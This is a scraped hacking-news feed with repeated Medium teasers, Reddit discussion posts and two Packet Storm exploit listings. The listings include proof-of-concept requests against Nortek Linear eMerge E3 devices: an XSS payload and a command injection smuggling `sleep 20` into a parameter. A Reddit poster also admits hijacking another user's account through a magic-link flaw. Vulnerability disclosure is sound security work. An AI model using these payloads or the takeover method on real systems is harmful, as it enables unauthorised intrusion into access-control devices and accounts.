Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Check Your Whatsapp is Hacked or Not
https://cdn-images-1.medium.com/max/600/0*K4Fii3IfZIu3uhaT.jpg
HELLO GUYS! I AM BACK AGAIN WITH A NEW TRICK FOR YOU. THE TRICK IS THAT HOW CAN YOU CHECK THAT YOUR WHATSAPP ACCOUNT IS SECURE OR NOT. FOR…
Continue reading on Medium »
Check Your Whatsapp is Hacked or Not
https://cdn-images-1.medium.com/max/600/0*K4Fii3IfZIu3uhaT.jpg
HELLO GUYS! I AM BACK AGAIN WITH A NEW TRICK FOR YOU. THE TRICK IS THAT HOW CAN YOU CHECK THAT YOUR WHATSAPP ACCOUNT IS SECURE OR NOT. FOR…
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Arab Cyber War Games NoSQL Challenge (Doctor X).
https://cdn-images-1.medium.com/max/996/1*zVOXP2eDAR3nq05OsRcJEw.png
In this CTF I developed a Nosql challenge that needs the penetration tester to Inject in many forms to find the flag.
Continue reading on Medium »
Arab Cyber War Games NoSQL Challenge (Doctor X).
https://cdn-images-1.medium.com/max/996/1*zVOXP2eDAR3nq05OsRcJEw.png
In this CTF I developed a Nosql challenge that needs the penetration tester to Inject in many forms to find the flag.
Continue reading on Medium »
hacking: security in practice
Thoughts about WP
So I've been discussing if WP (wordpress) really is worth using due to the constant update conflicts and security problems with web developers and I get so much hate. So I thought I'd take it up with you guys. Would you build your website usung wp, drupal or code from scratch?
submitted by /u/Error_co-Id10T
[link] [comments]
Thoughts about WP
So I've been discussing if WP (wordpress) really is worth using due to the constant update conflicts and security problems with web developers and I get so much hate. So I thought I'd take it up with you guys. Would you build your website usung wp, drupal or code from scratch?
submitted by /u/Error_co-Id10T
[link] [comments]
reddit
Thoughts about WP
So I've been discussing if WP (wordpress) really is worth using due to the constant update conflicts and security problems with web developers and...
hacking: security in practice
How easy is to hack a windows 7 machine connected to my network?
Title
Edit:Standard windows 7 laptop used only for personal usage,nothing hosted on it.
submitted by /u/Free_Ice2752
[link] [comments]
How easy is to hack a windows 7 machine connected to my network?
Title
Edit:Standard windows 7 laptop used only for personal usage,nothing hosted on it.
submitted by /u/Free_Ice2752
[link] [comments]
reddit
How easy is to hack a windows 7 machine connected to my network?
Title
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
capability of NSA forensics
Most people say if you over write your whole drive a few times the data can't be recovered. However if the NSA got there hands on it you don't know what types of forensic recovery tools they have. So overwriting the drive numerous times is it really wiped? Could be recovered theoretically?
submitted by /u/dannova23
[link] [comments]
capability of NSA forensics
Most people say if you over write your whole drive a few times the data can't be recovered. However if the NSA got there hands on it you don't know what types of forensic recovery tools they have. So overwriting the drive numerous times is it really wiped? Could be recovered theoretically?
submitted by /u/dannova23
[link] [comments]
reddit
capability of NSA forensics
Most people say if you over write your whole drive a few times the data can't be recovered. However if the NSA got there hands on it you don't...
hacking: security in practice
hi there is a really shit magic link vuln in reddit
if you have access to the account email and the magic link https://www.reddit.com/account/magic_link/landing/MIT:/ you can fish for login without pass and take over a reddit account as i have shown here.
to the dude that owns this just password reset and you will be fine, sorry just having fun. next time use 2FA and dont use mailinator. i would have replied to your chat, but i pressed the wrong button lols
submitted by /u/ocoio
[link] [comments]
hi there is a really shit magic link vuln in reddit
if you have access to the account email and the magic link https://www.reddit.com/account/magic_link/landing/MIT:/ you can fish for login without pass and take over a reddit account as i have shown here.
to the dude that owns this just password reset and you will be fine, sorry just having fun. next time use 2FA and dont use mailinator. i would have replied to your chat, but i pressed the wrong button lols
submitted by /u/ocoio
[link] [comments]
reddit
hi there is a really shit magic link vuln in reddit
if you have access to the account email and the magic link...
hacking: security in practice
Getting past maximum Password attempts limitations in brute force attacks
Attacks using brute force are quite frequent. Each day, large websites deal with thousands of these attacks. And I especially receive this question frequently.
Websites are frequently targets of two types of brute force attacks.
"Dictionary" attacks attempt to get in using widely used passwords such as "password1!" "Credential stuffing" attacks exploit stolen username: password combinations from prior website breaches in the hope that the victim will repeat the same login and password on another site. On the black market, lists of these stolen credentials are widely available.
Attackers circumvent retry limits by sending requests from many computers. These are frequently hacked end user devices (bots) or AWS/Azure/GCP virtual servers established with stolen passwords or payment cards. Rather of constantly hitting one account, dictionary assaults are dispersed across numerous accounts at once.
Which is very logical because you want to get lucky, So why not cast the net as wide as possible.
Another type of brute force attack happens when an attacker has compromised a system and stolen password hashes but not plaintext passwords.
The attacker wishes to obtain the plaintext passwords in order to attempt to enter into other systems using them. The attacker saves the password hashes to their own computer, generally in the cloud, and then brute forces the passwords there.
This attack works by repeatedly hashing passwords from a password dictionary and comparing the hashed passwords to the stolen passwords. Because it happens on computers controlled by the attacker, there are no retry limitations.
An attacker who has compromised a low privilege account may also try a brute force against the root password.
But in most of my attacking scenarios this only works if the system is poorly configured.
How many attempts do you think it would take to conduct a brute force attack on DES? provide your answers below. its open for discussion
submitted by /u/Simonvilla1
[link] [comments]
Getting past maximum Password attempts limitations in brute force attacks
Attacks using brute force are quite frequent. Each day, large websites deal with thousands of these attacks. And I especially receive this question frequently.
Websites are frequently targets of two types of brute force attacks.
"Dictionary" attacks attempt to get in using widely used passwords such as "password1!" "Credential stuffing" attacks exploit stolen username: password combinations from prior website breaches in the hope that the victim will repeat the same login and password on another site. On the black market, lists of these stolen credentials are widely available.
Attackers circumvent retry limits by sending requests from many computers. These are frequently hacked end user devices (bots) or AWS/Azure/GCP virtual servers established with stolen passwords or payment cards. Rather of constantly hitting one account, dictionary assaults are dispersed across numerous accounts at once.
Which is very logical because you want to get lucky, So why not cast the net as wide as possible.
Another type of brute force attack happens when an attacker has compromised a system and stolen password hashes but not plaintext passwords.
The attacker wishes to obtain the plaintext passwords in order to attempt to enter into other systems using them. The attacker saves the password hashes to their own computer, generally in the cloud, and then brute forces the passwords there.
This attack works by repeatedly hashing passwords from a password dictionary and comparing the hashed passwords to the stolen passwords. Because it happens on computers controlled by the attacker, there are no retry limitations.
An attacker who has compromised a low privilege account may also try a brute force against the root password.
But in most of my attacking scenarios this only works if the system is poorly configured.
How many attempts do you think it would take to conduct a brute force attack on DES? provide your answers below. its open for discussion
submitted by /u/Simonvilla1
[link] [comments]
reddit
Getting past maximum Password attempts limitations in brute force...
Attacks using brute force are quite frequent. Each day, large websites deal with thousands of these attacks. And I especially receive this...
hacking: security in practice
Why did you decide to be a hacker?
A lot of people here want to be hackers, and seeking resources to become hackers, but I was wondering why do you want to be a hacker?
submitted by /u/ifhd_
[link] [comments]
Why did you decide to be a hacker?
A lot of people here want to be hackers, and seeking resources to become hackers, but I was wondering why do you want to be a hacker?
submitted by /u/ifhd_
[link] [comments]
reddit
Why did you decide to be a hacker?
A lot of people here want to be hackers, and seeking resources to become hackers, but I was wondering *why* do you want to be a hacker?
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Nortek Linear eMerge E3-Series Account Takeover
https://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png
Nortek Linear eMerge E3-Series version 0.32-07p suffers from a vulnerability where session fixation tied with cross site scripting can allow for account takeover.
SHA-256 |
Download
Source:packetstormsecurity.com
Nortek Linear eMerge E3-Series Account Takeover
https://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png
Nortek Linear eMerge E3-Series version 0.32-07p suffers from a vulnerability where session fixation tied with cross site scripting can allow for account takeover.
SHA-256 |
6a30c71e741d3009dbaf81b18d14a4260f6043c44ce1ca7ff3fc8841c01a990eDownload
# Exploit Title: Nortek Linear eMerge E3-Series - Account Take Over
# Exploit Author: Omar Hashim
# Version: 0.32-07p
# Vendor home page: https://www.nortekcontrol.com/access-control/
# Vendor home page: https://linear-solutions.com/
# Authentication Required: No
# CVE: CVE-2022-31798
# Description
====================
There is local session fixation that chained with reflected cross-site
scripting leads to account take over of admin or less privileged users
# Proof Of Concept:
====================
http://<host:port/card_scan.php?No=1337&ReaderNo=1337&CardFormatNo=
src=x onerror=alert(document.location)>
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Nortek Linear eMerge E3-Series Command Injection
https://3.bp.blogspot.com/-bZ42fSZSr3k/WWlvHn9HijI/AAAAAAAAILg/Inc3JSbnqMk2Mr3Ts5OXFhitf0RPA2_cwCLcBGAs/s1600/h140.png
Nortek Linear eMerge E3-Series version 0.32-09c suffers from a blind OS command injection vulnerability.
SHA-256 |
Download
Source:packetstormsecurity.com
Nortek Linear eMerge E3-Series Command Injection
https://3.bp.blogspot.com/-bZ42fSZSr3k/WWlvHn9HijI/AAAAAAAAILg/Inc3JSbnqMk2Mr3Ts5OXFhitf0RPA2_cwCLcBGAs/s1600/h140.png
Nortek Linear eMerge E3-Series version 0.32-09c suffers from a blind OS command injection vulnerability.
SHA-256 |
1b6d5355c3cfb8a305b173bd302a4a64ba695c262235e2d26ec6c0d12c984191Download
# Exploit Title: Nortek Linear eMerge E3-Series - Blind OS Command Injection
# Exploit Author: Omar Hashim
# Version: 0.32-09c
# Vendor home page: https://www.nortekcontrol.com/access-control/
# Vendor home page: https://linear-solutions.com/
# Authentication Required: No
# CVE: CVE-2022-31499
# POC:
====================
http:/<host:port/card_scan.php?No=1337&ReaderNo=`sleep
20`&CardFormatNo=1337
Source:packetstormsecurity.com